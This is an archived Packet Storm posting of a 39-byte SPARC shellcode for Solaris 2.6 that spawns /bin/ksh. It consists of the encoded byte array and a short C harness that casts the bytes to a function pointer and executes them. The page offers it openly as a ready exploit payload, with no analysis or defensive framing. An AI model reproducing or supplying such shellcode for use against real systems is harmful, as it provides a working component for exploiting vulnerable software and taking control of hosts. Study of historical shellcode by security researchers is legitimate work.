Exploit the possiblities

39 Byte Solaris 2.6 /bin/ksh Shellcode

39 Byte Solaris 2.6 /bin/ksh Shellcode
Posted Jan 26, 2013
Authored by srm

39 bytes small Solaris 2.6 /bin/ksh shellcode.

tags | shellcode
systems | solaris
MD5 | 25bd3f7ede536ca5b0b11cf676bd48a8

39 Byte Solaris 2.6 /bin/ksh Shellcode

Change Mirror Download
/* 
39 bytes Solaris 2.6 SPARC
execute /bin/ksh to make life easier
--srm

*/

static char ksh[] =
"\x21\xbf\xff\xff"
"\x21\xbf\xff\xff"
"\x7f\xff\xff\xff"
"\x90\x03\xe0\x20"
"\x92\x02\x20\x08"
"\xd0\x22\x20\x08"
"\xc0\x22\x60\x04"
"\xc0\x2a\x20\x08" /* store k */
"\x82\x10\x20\x0b"
"\x91\xd0\x20\x00"
"\x2f\x62\x69\x6e"
"\x2f\x6b\x73\x68";


int
main ()
{
int (*ret)(); /* ret is a function pointer */
ret = (int(*)())ksh; /* ret points to our shellcode */
/* shellcode is type caste as a function */
printf("%d\n", strlen(ksh));
(int)(*ret)(); /* execute, as a function, shellcode[] */
}


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

January 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    16 Files
  • 4
    Jan 4th
    39 Files
  • 5
    Jan 5th
    26 Files
  • 6
    Jan 6th
    40 Files
  • 7
    Jan 7th
    2 Files
  • 8
    Jan 8th
    16 Files
  • 9
    Jan 9th
    25 Files
  • 10
    Jan 10th
    28 Files
  • 11
    Jan 11th
    44 Files
  • 12
    Jan 12th
    32 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    4 Files
  • 15
    Jan 15th
    31 Files
  • 16
    Jan 16th
    15 Files
  • 17
    Jan 17th
    16 Files
  • 18
    Jan 18th
    24 Files
  • 19
    Jan 19th
    15 Files
  • 20
    Jan 20th
    5 Files
  • 21
    Jan 21st
    1 Files
  • 22
    Jan 22nd
    15 Files
  • 23
    Jan 23rd
    12 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close